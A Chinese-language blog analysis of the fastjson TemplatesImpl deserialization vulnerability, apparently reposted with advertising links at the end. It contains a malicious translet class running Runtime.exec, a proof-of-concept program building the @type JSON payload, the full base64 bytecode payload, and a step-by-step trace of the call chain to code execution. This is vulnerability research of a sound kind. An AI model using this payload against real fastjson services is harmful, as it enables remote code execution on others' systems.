import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }
   
}

test.java在這裏的話主要是用戶parseObject json反序列化時所要還原的類,因為在這會實例化該類,因此直接在其構造方法中calc即可

poc.java

package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos); //將test.class字節碼文件轉存到字節數粗輸出流中
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray()); 

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype時反序列化的類
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +    //將evilcode放在_bytecodes處
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        //String personStr = "{'name':"+text1+",'age':19}";
        //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject來反序列化,此時要設置SupportNonPublicField

public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }

 我們已經知道在反序列化解析json字符串時在parseobject時觸發

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

 在此下斷點,運行poc.java

此時首先調用com/alibaba/fastjson/JSON.java的parseObject函數來處理我們傳入的payload

 此時判斷我們傳入的features是否為null,這裏

我們已經制定了支持非publicfield屬性,因為使用的_bytescode實際為非public的,否則無法反序列化,接着調用defaultJsonParser來進一步處理payload

 此時進一步調用javaObjectDeserializer,也就是反序列化時所使用的反序列化引擎,繼續跟進

 此時在javaObjectDeserializer的deserialze函數中將判斷type的類型是不是泛型數組類型的實例以及判斷type是不是類類型的實例,這裏兩處不滿足,所以調用parse.parse來解析

實際上此時又回到了

並且在此調用parseObject函數來處理我們的payload

接下來一部分就是語法解析,先匹配出了其中的雙引號”,

 比如先在parseObject函數中匹配出了@type

 匹配出@type標誌以後,將會繼續向後掃描json字符串,即取匹配相應的值,這個值也就是我們想要反序列化的類

 繼續往下走,將調用deserializer.deserialze函數來處理反序列化數據,此時deserializer中已經包含了要實例化的templatesimpl類,

跟進此函數,則可以看到此時token為16並且text為我們的payload

 接下來會調用parseField函數來對json字符串中的一些key值進行匹配

 這個方法裏面會調用smartmatch來對key值進行一些處理,比如將_bytecodes的下劃線刪除

 當處理到_outputProperties字段時,步入其smartMatch方法

 此時在FieldDeserializer中將會調用setValue方,此時將會在其中調用getOutputProperties()方法,因為存在OutputProperties屬性

 

 此時在TemplatesImpl類的getOutputProperties函數中將會調用newTransformer().getOutputProperties函數,在newTransformer函數中又調用了getTransletInstance()函數,

 

 這裏首先判斷_name字段不能為空,這也是為啥payload裏面會設置一個_name字段

 接下來就會調用newInstance()函數來實例化對象了,可以看到此事要求實例化的對象時AbstractTranslet類的,那麼只需要讓我們的payload中的類繼承自該類即可, 

可以看到此時_transletIndex為零,因此此時實例化的就是我們構造的惡意類,

 

縮減后的整個調用鏈即為:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

參考:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選